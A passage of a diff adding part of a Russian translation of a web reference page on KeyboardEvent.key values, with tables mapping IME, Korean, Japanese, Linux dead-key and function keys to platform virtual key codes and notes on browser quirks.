+   <td><code>"NextCandidate"</code></td>
+   <td>The Next Candidate function key. Selects the next possible match for the ongoing input.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"NonConvert"</code> [2]</td>
+   <td>The <kbd>NonConvert</kbd> ("Don't convert") key. This accepts the current input method sequence without running conversion when using an IME.</td>
+   <td><code>VK_NONCONVERT</code> (0x1D)</td>
+   <td></td>
+   <td><code>GDK_KEY_Muhenkan</code> (0xFF22)<br>
+    <code>Qt::Key_Muhenkan</code> (0x01001122)<br>
+     </td>
+   <td><code>KEYCODE_MUHENKAN</code> (213)</td>
+  </tr>
+  <tr>
+   <td><code>"PreviousCandidate"</code></td>
+   <td>The Previous Candidate key. Selects the previous possible match for the ongoing input.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_PreviousCandidate</code> (0xFF3E)<br>
+    <code>Qt::Key_PreviousCandidate</code> (0x0100113E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Process"</code> [3]</td>
+   <td>The <kbd>Process</kbd> key. Instructs the IME to process the conversion.</td>
+   <td><code>VK_PROCESSKEY</code> (0xE5)</td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"SingleCandidate"</code> [4]</td>
+   <td>The Single Candidate key. Enables single candidate mode (as opposed to multi-candidate mode); in this mode, only one candidate is displayed at a time.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_SingleCandidate</code> (0xFF3C)<br>
+    <code>Qt::Key_SingleCandidate</code> (0x0100113C)</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] В <em>X Window System</em>, клавиша <kbd>Compose</kbd> называется <kbd>Multi</kbd>.</p>
+
+<p>[2] Клавиша <kbd>NonConvert</kbd> возвращает значение <code>"Nonconvert"</code> вместо корректного<code> "NonConvert"</code> в Internet Explorer (проверено в версиях 9 и 11) и Firefox версии 36 и более ранних.</p>
+
+<p>[3] Клавиша <kbd>Process</kbd> в настоящее время возвращает <code>"Unidentified"</code> в Firefox и Internet Explorer. Google Chrome возвращает значение клавиши так, как если бы IME не использовался.</p>
+
+<p>[4] До Firefox 37, эта клавиша возвращала <code>"Unidentified"</code>.</p>
+
+<p>[5] Firefox генерирует значение <code>"AltGraph"</code> вместо <code>"ModeChange"</code>.</p>
+
+<h3 id="Только_корейские_клавиатуры">Только корейские клавиатуры</h3>
+
+<p>Эти клавиши доступны только на корейских клавиатурах. Существуют и другие клавиши, определенные различными платформами для корейских клавиатур, но они являются наиболее распространенными и идентифицируются спецификацией событий пользовательского интерфейса.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"HangulMode"</code></td>
+   <td>The <kbd>Hangul</kbd> (Korean character set) mode key, which toggles between Hangul and English entry modes.</td>
+   <td><code>VK_HANGUL</code> (0x15) [1]</td>
+   <td></td>
+   <td><code>GDK_KEY_Hangul</code> (0xFF31)<br>
+    <code>Qt::Key_Hangul</code> (0x01001131)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"HanjaMode"</code></td>
+   <td>Selects the Hanja mode, for converting Hangul characters to the more specific Hanja characters.</td>
+   <td><code>VK_HANJA</code> (0x19) [1]</td>
+   <td></td>
+   <td><code>GDK_KEY_Hangul_Hanja</code> (0xFF34)<br>
+    <code>Qt::Key_Hangul_Hanja</code> (0x01001134)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"JunjaMode"</code></td>
+   <td>Selects the Junja mode, in which Korean is represented using single-byte Latin characters.</td>
+   <td><code>VK_JUNJA</code> (0x17)</td>
+   <td></td>
+   <td><code>GDK_KEY_Hangul_Jeonja</code> (0xFF38)<br>
+    <code>Qt::Key_Hangul_Jeonja</code> (0x01001138)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] <code>VK_HANGUL</code> и <code>VK_KANA</code> <span class="tlid-translation translation" lang="ru"><span title="">используют один и тот же числовой код клавиши</span></span> в Windows, также как <code>VK_HANJA</code> и <code>VK_KANJI</code>.</p>
+
+<h3 id="Только_японские_клавиатуры">Только японские клавиатуры</h3>
+
+<p>Эти клавиши достуны только на японских клавиатурах.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"Eisu"</code> [1]</td>
+   <td>The <kbd>Eisu</kbd> key. This key's purpose is defined by the IME, but may be used to close the IME.</td>
+   <td></td>
+   <td><code>kVK_JIS_Eisu</code> (0x66)</td>
+   <td><code>GDK_KEY_Eisu_toggle</code> (0xFF2F)<br>
+    <code>Qt::Key_Eisu_toggle</code> (0x01001130)</td>
+   <td><code>KEYCODE_EISU</code> (212)</td>
+  </tr>
+  <tr>
+   <td><code>"Hankaku"</code> [3]</td>
+   <td>The <kbd>Hankaku</kbd> (half-width characters) key.</td>
+   <td><code>VK_OEM_AUTO</code> (0xF3)</td>
+   <td></td>
+   <td><code>GDK_KEY_Hankaku</code> (0xFF29)<br>
+    <code>Qt::Key_Hankaku</code> (0x01001129)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Hiragana"</code></td>
+   <td>The <kbd>Hiragana</kbd> key; selects Kana characters mode.</td>
+   <td><code>VK_OEM_COPY</code> (0xF2)</td>
+   <td></td>
+   <td><code>GDK_KEY_Hiragana</code> (0xFF25)<br>
+    <code>Qt::Key_Hiragana</code> (0x01001125)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"HiraganaKatakana"</code> [6]</td>
+   <td>Toggles between the Hiragana and Katakana writing systems.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Hiragana_Katakana</code> (0xFF27)<br>
+    <code>Qt::Key_Hiragana_Katakana</code> (0x01001127)</td>
+   <td><code>KEYCODE_KATAKANA_HIRAGANA</code> (215)</td>
+  </tr>
+  <tr>
+   <td><code>"KanaMode"</code></td>
+   <td>The <kbd>Kana Mode</kbd> (Kana Lock) key.</td>
+   <td><code>VK_KANA</code> (0x15) [2]<br>
+    <code>VK_ATTN</code> (0xF6)</td>
+   <td></td>
+   <td><code>GDK_KEY_Kana_Lock</code> (0xFF2D)<br>
+    <code>GDK_KEY_Kana_Shift</code> (0xFF2E)<br>
+    <code>Qt::Key_Kana_Lock</code> (0x0100112D)<br>
+    <code>Qt::Key_Kana_Shift</code> (0x0100112E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"KanjiMode"</code></td>
+   <td>The <kbd>Kanji Mode</kbd> key. Enables entering Japanese text using the ideographic characters of Chinese origin.</td>
+   <td><code>VK_KANJI</code>(0x19) [2]</td>
+   <td><code>kVK_JIS_Kana</code> (0x68)</td>
+   <td><code>GDK_KEY_Kanji</code> (0xFF21)<br>
+    <code>Qt::Key_Kanji</code> (0x01001121)</td>
+   <td><code>KEYCODE_KANA</code> (218)</td>
+  </tr>
+  <tr>
+   <td><code>"Katakana"</code></td>
+   <td>The <kbd>Katakana</kbd> key.</td>
+   <td><code>VK_OEM_FINISH</code> (0xF1)</td>
+   <td></td>
+   <td><code>GDK_KEY_Katakana</code> (0xFF26)<br>
+    <code>Qt::Key_Katakana</code> (0x01001126)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Romaji"</code> [5]</td>
+   <td>The <kbd>Romaji</kbd> key; selects the Roman character set.</td>
+   <td><code>VK_OEM_BACKTAB</code> (0xF5)</td>
+   <td></td>
+   <td><code>GDK_KEY_Romaji</code> (0xFF24)<br>
+    <code>Qt::Key_Romaji</code> (0x01001124)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Zenkaku"</code> [4]</td>
+   <td>The <kbd>Zenkaku</kbd> (full width) characters key.</td>
+   <td><code>VK_OEM_ENLW</code> (0xF4)</td>
+   <td></td>
+   <td><code>GDK_KEY_Zenkaku</code> (0xFF28)<br>
+    <code>Qt::Key_Zenkaku</code> (0x01001128)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ZenkakuHanaku"</code> [6]</td>
+   <td>The <kbd>Zenkaku/Hankaku</kbd> (full width/half width) toggle key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Zenkaku_Hankaku</code> (0xFF2A)<br>
+    <code>Qt::Zenkaku_Hankaku</code> (0x0100112A)</td>
+   <td>
+    <p><code>KEYCODE_ZENKAKU_HANKAKU</code> (211)</p>
+   </td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] До Firefox 37, клавиша <kbd>Eisu</kbd> ошибочно сопоставлялась <code>"RomanCharacters"</code>.</p>
+
+<p>[2] <code>VK_HANGUL</code> и <code>VK_KANA</code> <span class="tlid-translation translation" lang="ru"><span title="">используют один и тот же числовой код клавиши</span></span> в Windows, также как <code>VK_HANJA</code> и <code>VK_KANJI</code>.</p>
+
+<p>[3] До Firefox 37, клавиша <kbd>Hankaku</kbd> (half-width) генерировала значание <code>"HalfWidth"</code> в Firefox. Такжк, этак клавиша генерировала значаение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11).</p>
+
+<p>[4] Internet Explorer (проверено в версиях 9 и 11) возвращал <code>"Unidentified"</code> для клавиши <kbd>Zenkaku</kbd>; Firefox 36 и более ранние определяли эту клавишу как <code>"FullWidth"</code> <span class="tlid-translation translation" lang="ru"><span title="">на японских раскладках клавиатуры</span></span> и <code>"Unidentified"</code> на всех остальных <span class="tlid-translation translation" lang="ru"><span title="">раскладках клавиатуры</span></span>. Firefox 37 и выше, а также все версии Google Chrome, корректно возвращают <code>"Zenkaku"</code>.</p>
+
+<p>[5] <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). Firefox 36 и более ранние определяли клавишу <kbd>Romaji</kbd> как <code>"RomanCharacters"</code> на японских клавиатурах и <code>"Unidentified"</code> для остальных клавиатур; исправлено на значение  <code>"Romaji"</code> в Firefox 37 и выше.</p>
+
+<p>[6] Эта клавиша возвращала <code>"Unidentified"</code> до Firefox 37.</p>
+
+<h3 id="Dead_keycodes_for_Linux">Dead keycodes for Linux</h3>
+
+<p>Linux generates accented characters using special <strong>dead keys</strong>. <em>Dead keys</em> are keys which are pressed in combination with character keys to generate accented forms of those characters. You can identify which specific dead key was used (if more than one exists) by examining the  {{domxref("KeyboardEvent")}}'s associated {{event("compositionupdate")}} event's  {{domxref("CompositionEvent.data", "data")}} property.</p>
+
+<p>You can find a table of the dead keys and the characters they can be used with to generate accented or otherwise special characters on Linux using GTK.</p>
+
+<p>The value of {{domxref("CompositionEvent.data", "data")}} will be one of the following:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Значение<code> CompositionEvent.data</code></strong></th>
+   <th scope="col">Символ</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>GDK_KEY_dead_grave</code> (0xFE50)<br>
+    <code>Qt::Key_Dead_Grave</code> (0x01001250)</td>
+   <td>`</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_acute</code> (0xFE51)<br>
+    <code>Qt::Key_Dead_Acute</code> (0x01001251)</td>
+   <td>´</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_circumflex</code> (0xFE52)<br>
+    <code>Qt::Key_Dead_Circumflex</code> (0x01001252)</td>
+   <td>ˆ</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_tilde</code> (0xFE53)<br>
+    <code>Qt::Key_Dead_Tilde</code> (0x01001253)</td>
+   <td>˜</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_perispomeni</code> (0xFE53)</td>
+   <td> ͂</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_macron</code> (0xFE54)<br>
+    <code>Qt::Key_Dead_Macron</code> (0x01001254)</td>
+   <td>¯</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_breve</code> (0xFE55)<br>
+    <code>Qt::Key_Dead_Breve</code> (0x01001255)</td>
+   <td>˘</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_abovedot</code> (0xFE56)<br>
+    <code>Qt::Key_Dead_Abovedot</code> (0x01001256)</td>
+   <td>˙</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_diaeresis</code> (0xFE57)<br>
+    <code>Qt::Key_Dead_Diaeresis</code> (0x01001257)</td>
+   <td>¨</td>
+   <td>Also called an umlaut.</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_abovering</code> (0xFE58)<br>
+    <code>Qt::Key_Dead_Abovering</code> (0x01001258)</td>
+   <td>˚</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_doubleacute</code> (0xFE59)<br>
+    <code>Qt::Key_Dead_Doubleacute</code> (0x01001259)</td>
+   <td>˝</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_caron</code> (0xFE5A)<br>
+    <code>Qt::Key_Dead_Caron</code> (0x0100125A)</td>
+   <td>ˇ</td>
+   <td>Also called a háček; used in Czech among other languages.</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_cedilla</code> (0xFE5B)<br>
+    <code>Qt::Key_Dead_Cedilla</code> (0x0100125B)</td>
+   <td>¸</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_ogonek</code> (0xFE5C)<br>
+    <code>Qt::Key_Dead_Ogonek</code> (0x0100125C)</td>
+   <td>˛</td>
+   <td>Also called a nosinė; used in Polish and Old Irish.</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_iota</code> (0xFE5D)<br>
+    <code>Qt::Key_Dead_Iota</code> (0x0100125D)</td>
+   <td> ͅ</td>
+   <td>Iota subscript.</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_voiced_sound</code> (0xFE5E)<br>
+    <code>Qt::Key_Dead_Voiced_Sound</code> (0x0100125E)</td>
+   <td>゙</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_semivoiced_sound</code> (0xFE5F)<br>
+    <code>Qt::Key_Dead_Semivoiced_Sound</code> (0x0100125F)</td>
+   <td>゚</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowdot</code> (0xFE60)<br>
+    <code>Qt::Key_Dead_Belowdot</code> (0x01001260)</td>
+   <td>̣̣</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_hook</code> (0xFE61)<br>
+    <code>Qt::Key_Dead_Hook</code> (0x01001261)</td>
+   <td>  ̡</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_horn</code> (0xFE62)<br>
+    <code>Qt::Key_Dead_Horn</code> (0x01001262)</td>
+   <td> ̛</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_stroke</code> (0xFE63)</td>
+   <td> ̶̶</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_abovecomma</code> (0xFE64)</td>
+   <td> ̓̓</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_psili</code> (0xFE64)</td>
+   <td> ᾿</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_abovereversedcomma</code> (0xFE65)</td>
+   <td>ʽ</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_dasia</code> (0xFE65)</td>
+   <td>῾</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_doublegrave</code> (0xFE66)</td>
+   <td> ̏</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowring</code> (0xFE67)</td>
+   <td>˳</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowmacron</code> (0xFE68)</td>
+   <td> ̱</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowcircumflex</code> (0xFE69)</td>
+   <td>ꞈ</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowtilde</code> (0xFE6A)</td>
+   <td>̰</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowbreve</code> (0xFE6B)</td>
+   <td>̮</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowdiaeresis</code> (0xFE6C)</td>
+   <td> ̤</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_invertedbreve</code> (0xFE6D)</td>
+   <td>̯</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowcomma</code> (0xFE6E)</td>
+   <td>̦</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_currency</code> (0xFE6F)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_a</code> (0xFE80)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_A</code> (0xFE81)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_e</code> (0xFE82)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_E</code> (0xFE83)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_i</code> (0xFE84)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_I</code> (0xFE85)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_o</code> (0xFE86)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_O</code> (0xFE87)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_u</code> (0xFE88)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_U</code> (0xFE89)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_small_schwa</code> (0xFE8A)</td>
+   <td>ə</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_capital_schwa</code> (0xFE8B)</td>
+   <td>Ə</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_greek</code> (0xFE8C)</td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Функциональные_клавиши">Функциональные клавиши</h2>
+
+<p>Хотя разные платформы поддерживают разное количество функциональных клавиш общего назначения, таких как <kbd>F1</kbd>–<kbd>F12</kbd> (or <kbd>F1</kbd>–<kbd>F10</kbd>, or <kbd>F1</kbd>–<kbd>F15</kbd>, etc.), первые несколько конкретно определены следующим образом.</p>
+
+<p>Если доступно больше функциональных клавиш, их имена продолжают представленный шаблон, продолжая увеличивать числовую часть имени каждой клавиши, так что, например, <code>"F24"</code> это валидное значение клавиши.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"F1"</code></td>
+   <td>Клавиша <kbd>F1</kbd>.</td>
+   <td><code>VK_F1</code> (0x70)</td>
+   <td><code>kVK_F1</code> (0x7A)</td>
+   <td><code>GDK_KEY_F1</code> (0xFFBE)<br>
+    <code>GDK_KEY_KP_F1</code> (0xFF91)<br>
+    <code>Qt::Key_F1</code> (0x01000030)</td>
+   <td><code>KEYCODE_F1</code> (131)</td>
+  </tr>
+  <tr>
+   <td><code>"F2"</code></td>
+   <td>Клавиша <kbd>F2</kbd>.</td>
+   <td><code>VK_F2</code> (0x71)</td>
+   <td><code>kVK_F2</code> (0x78)</td>
+   <td><code>GDK_KEY_F2</code> (0xFFBF)<br>
+    <code>GDK_KEY_KP_F2</code> (0xFF92)<br>
+    <code>Qt::Key_F2</code> (0x01000031)</td>
+   <td><code>KEYCODE_F2</code> (132)</td>
+  </tr>
+  <tr>
+   <td><code>"F3"</code></td>
+   <td>Клавиша <kbd>F3</kbd>.</td>
+   <td><code>VK_F3</code> (0x72)</td>
+   <td><code>kVK_F3</code> (0x63)</td>
+   <td><code>GDK_KEY_F3</code> (0xFFC0)<br>
+    <code>GDK_KEY_KP_F3</code> (0xFF93)<br>
+    <code>Qt::Key_F3</code> (0x01000032)</td>
+   <td><code>KEYCODE_F3</code> (133)</td>
+  </tr>
+  <tr>
+   <td><code>"F4"</code></td>
+   <td>Клавиша <kbd>F4</kbd>.</td>
+   <td><code>VK_F4</code> (0x73)</td>
+   <td><code>kVK_F4</code> (0x76)</td>
+   <td><code>GDK_KEY_F4</code> (0xFFC1)<br>
+    <code>GDK_KEY_KP_F4</code> (0xFF94)<br>
+    <code>Qt::Key_F4</code> (0x01000033)</td>
+   <td><code>KEYCODE_F4</code> (134)</td>
+  </tr>
+  <tr>
+   <td><code>"F5"</code></td>
+   <td>Клавиша <kbd>F5</kbd>.</td>
+   <td><code>VK_F5</code> (0x74)</td>
+   <td><code>kVK_F5</code> (0x60)</td>
+   <td><code>GDK_KEY_F5</code> (0xFFC2)<br>
+    <code>Qt::Key_F5</code> (0x01000034)</td>
+   <td><code>KEYCODE_F5</code> (135)</td>
+  </tr>
+  <tr>
+   <td><code>"F6"</code></td>
+   <td>Клавиша <kbd>F6</kbd>.</td>
+   <td><code>VK_F6</code> (0x75)</td>
+   <td><code>kVK_F6</code> (0x61)</td>
+   <td><code>GDK_KEY_F6</code> (0xFFC3)<br>
+    <code>Qt::Key_F6</code> (0x01000035)</td>
+   <td><code>KEYCODE_F6</code> (136)</td>
+  </tr>
+  <tr>
+   <td><code>"F7"</code></td>
+   <td>Клавиша <kbd>F7</kbd>.</td>
+   <td><code>VK_F7</code> (0x76)</td>
+   <td><code>kVK_F7</code> (0x62)</td>
+   <td><code>GDK_KEY_F7</code> (0xFFC4)<br>
+    <code>Qt::Key_F7</code> (0x01000036)</td>
+   <td><code>KEYCODE_F7</code> (137)</td>
+  </tr>
+  <tr>
+   <td><code>"F8"</code></td>
+   <td>Клавиша <kbd>F8</kbd>.</td>
+   <td><code>VK_F8</code> (0x77)</td>
+   <td><code>kVK_F8</code> (0x64)</td>
+   <td><code>GDK_KEY_F8</code> (0xFFC5)<br>
+    <code>Qt::Key_F8</code> (0x01000037)</td>
+   <td><code>KEYCODE_F8</code> (138)</td>
+  </tr>
+  <tr>
+   <td><code>"F9"</code></td>
+   <td>Клавиша <kbd>F9</kbd>.</td>
+   <td><code>VK_F9</code> (0x78)</td>
+   <td><code>kVK_F9</code> (0x65)</td>
+   <td><code>GDK_KEY_F9</code> (0xFFC6)<br>
+    <code>Qt::Key_F9</code> (0x01000038)</td>
+   <td><code>KEYCODE_F9</code> (139)</td>
+  </tr>
+  <tr>
+   <td><code>"F10"</code></td>
+   <td>Клавиша <kbd>F10</kbd>.</td>
+   <td><code>VK_F10</code> (0x79)</td>
+   <td><code>kVK_F10</code> (0x6D)</td>
+   <td><code>GDK_KEY_F10</code> (0xFFC7)<br>
+    <code>Qt::Key_F10</code> (0x01000039)</td>
+   <td><code>KEYCODE_F10</code> (140)</td>
+  </tr>
+  <tr>
+   <td><code>"F11"</code></td>
+   <td>Клавиша <kbd>F11</kbd>.</td>
+   <td><code>VK_F11</code> (0x7A)</td>
+   <td><code>kVK_F11</code> (0x67)</td>
+   <td><code>GDK_KEY_F11</code> (0xFFC8)<br>
+    <code>Qt::Key_F11</code> (0x0100003A)</td>
+   <td><code>KEYCODE_F11</code> (141)</td>
+  </tr>
+  <tr>
+   <td><code>"F12"</code></td>
+   <td>Клавиша <kbd>F12</kbd>.</td>
+   <td><code>VK_F12</code> (0x7B)</td>
+   <td><code>kVK_F12</code> (0x6F)</td>
+   <td><code>GDK_KEY_F12</code> (0xFFC9)<br>
+    <code>Qt::Key_F12</code> (0x0100003B)</td>
+   <td><code>KEYCODE_F12</code> (142)</td>
+  </tr>
+  <tr>
+   <td><code>"F13"</code></td>
+   <td>Клавиша <kbd>F13</kbd>.</td>
+   <td><code>VK_F13</code> (0x7C)</td>
+   <td><code>kVK_F13</code> (0x69)</td>
+   <td><code>GDK_KEY_F13</code> (0xFFCA)<br>
+    <code>Qt::Key_F13</code> (0x0100003C)</td>
+   <td><code>KEYCODE_F13</code></td>
+  </tr>
+  <tr>
+   <td><code>"F14"</code></td>
+   <td>Клавиша <kbd>F14</kbd>.</td>
+   <td><code>VK_F14</code> (0x7D)</td>
+   <td><code>kVK_F14</code> (0x6B)</td>
+   <td><code>GDK_KEY_F14</code> (0xFFCB)<br>
+    <code>Qt::Key_F1</code>4 (0x0100003D)</td>
+   <td><code>KEYCODE_F14</code></td>
+  </tr>
+  <tr>
+   <td><code>"F15"</code></td>
+   <td>Клавиша <kbd>F15</kbd>.</td>
+   <td><code>VK_F15</code> (0x7E)</td>
+   <td><code>kVK_F15</code> (0x71)</td>
+   <td><code>GDK_KEY_F15</code> (0xFFCC)<br>
+    <code>Qt::Key_F1</code>5 (0x0100003E)</td>
+   <td><code>KEYCODE_F15</code></td>
+  </tr>
+  <tr>
+   <td><code>"F16"</code></td>
+   <td>Клавиша <kbd>F16</kbd>.</td>
+   <td><code>VK_F16</code> (0x7F)</td>
+   <td><code>kVK_F16</code> (0x6A)</td>
+   <td><code>GDK_KEY_F16</code> (0xFFCD)<br>
+    <code>Qt::Key_F1</code>6 (0x0100003F)</td>
+   <td><code>KEYCODE_F16</code></td>
+  </tr>
+  <tr>
+   <td><code>"F17"</code></td>
+   <td>Клавиша <kbd>F17</kbd>.</td>
+   <td><code>VK_F17</code> (0x80)</td>
+   <td><code>kVK_F17</code> (0x40)</td>
+   <td><code>GDK_KEY_F17</code> (0xFFCE)<br>
+    <code>Qt::Key_F1</code>7 (0x01000040)</td>
+   <td><code>KEYCODE_F17</code></td>
+  </tr>
+  <tr>
+   <td><code>"F18"</code></td>
+   <td>Клавиша <kbd>F18</kbd>.</td>
+   <td><code>VK_F18</code> (0x81)</td>
+   <td><code>kVK_F18</code> (0x4F)</td>
+   <td><code>GDK_KEY_F18</code> (0xFFCF)<br>
+    <code>Qt::Key_F1</code>8 (0x01000041)</td>
+   <td><code>KEYCODE_F18</code></td>
+  </tr>
+  <tr>
+   <td><code>"F19"</code></td>
+   <td>Клавиша <kbd>F19</kbd>.</td>
+   <td><code>VK_F19</code> (0x82)</td>
+   <td><code>kVK_F19</code> (0x50)</td>
+   <td><code>GDK_KEY_F19</code> (0xFFD0)<br>
+    <code>Qt::Key_F1</code>9 (0x01000042)</td>
+   <td><code>KEYCODE_F19</code></td>
+  </tr>
+  <tr>
+   <td><code>"F20"</code></td>
+   <td>Клавиша <kbd>F20</kbd>.</td>
+   <td><code>VK_F20</code> (0x83)</td>
+   <td><code>kVK_F20</code> (0x5A)</td>
+   <td><code>GDK_KEY_F20</code> (0xFFD1)<br>
+    <code>Qt::Key_F20</code> (0x01000043)</td>
+   <td><code>KEYCODE_F20</code></td>
+  </tr>
+  <tr>
+   <td><code>"Soft1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Первая функциональная клавиша общего назначения.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Context1</code> (0x01100000)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Soft2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Вторая функциональная клавиша общего назначения.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Context2</code> (0x01100001)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Soft3"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Третья функциональная клавиша общего назначения.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Context3</code> (0x01100002)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Soft4"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Четвертая функциональная клавиша общего назначения.</span></span></td>
+   <td></td>
+   <td></td>
